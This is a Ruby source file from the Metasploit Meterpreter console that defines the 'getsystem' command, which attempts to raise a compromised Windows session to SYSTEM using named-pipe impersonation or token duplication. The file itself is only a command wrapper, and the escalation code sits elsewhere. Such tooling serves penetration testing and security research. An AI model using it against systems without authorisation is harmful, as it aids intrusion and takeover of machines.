# -*- coding: binary -*-
require 'rex/post/meterpreter'

module Rex
module Post
module Meterpreter
module Ui

###
#
# The local privilege escalation portion of the extension.
#
###
class Console::CommandDispatcher::Priv::Elevate

  Klass = Console::CommandDispatcher::Priv::Elevate

  include Console::CommandDispatcher

  ELEVATE_TECHNIQUE_NONE					= -1
  ELEVATE_TECHNIQUE_ANY					= 0
  ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE		= 1
  ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2	= 2
  ELEVATE_TECHNIQUE_SERVICE_TOKENDUP		= 3

  ELEVATE_TECHNIQUE_DESCRIPTION = [ 	"All techniques available",
                    "Service - Named Pipe Impersonation (In Memory/Admin)",
                    "Service - Named Pipe Impersonation (Dropper/Admin)",
                    "Service - Token Duplication (In Memory/Admin)"
                  ]
  #
  # List of supported commands.
  #
  def commands
    {
      "getsystem" => "Attempt to elevate your privilege to that of local system."
    }
  end

  #
  # Name for this dispatcher.
  #
  def name
    "Priv: Elevate"
  end


  #
  # Attempt to elevate the meterpreter to that of local system.
  #
  def cmd_getsystem( *args )

    technique = ELEVATE_TECHNIQUE_ANY

    desc = ""
    ELEVATE_TECHNIQUE_DESCRIPTION.each_index { |i| desc += "\n\t\t#{i} : #{ELEVATE_TECHNIQUE_DESCRIPTION[i]}" }

    getsystem_opts = Rex::Parser::Arguments.new(
      "-h" => [ false, "Help Banner." ],
      "-t" => [ true, "The technique to use. (Default to \'#{technique}\')." + desc ]
    )

    getsystem_opts.parse(args) { | opt, idx, val |
      case opt
        when "-h"
          print_line( "Usage: getsystem [options]\n" )
          print_line( "Attempt to elevate your privilege to that of local system." )
          print_line( getsystem_opts.usage )
          return
        when "-t"
          technique = val.to_i
      end
    }

    if( technique < 0 or technique >= ELEVATE_TECHNIQUE_DESCRIPTION.length )
      print_error( "Technique '#{technique}' is out of range." );
      return false;
    end

    result = client.priv.getsystem( technique )

    # got system?
    if result[0]
      print_line( "...got system (via technique #{result[1]})." );
    else
      print_line( "...failed to get system." );
    end

    return result
  end

end

end
end
end
end
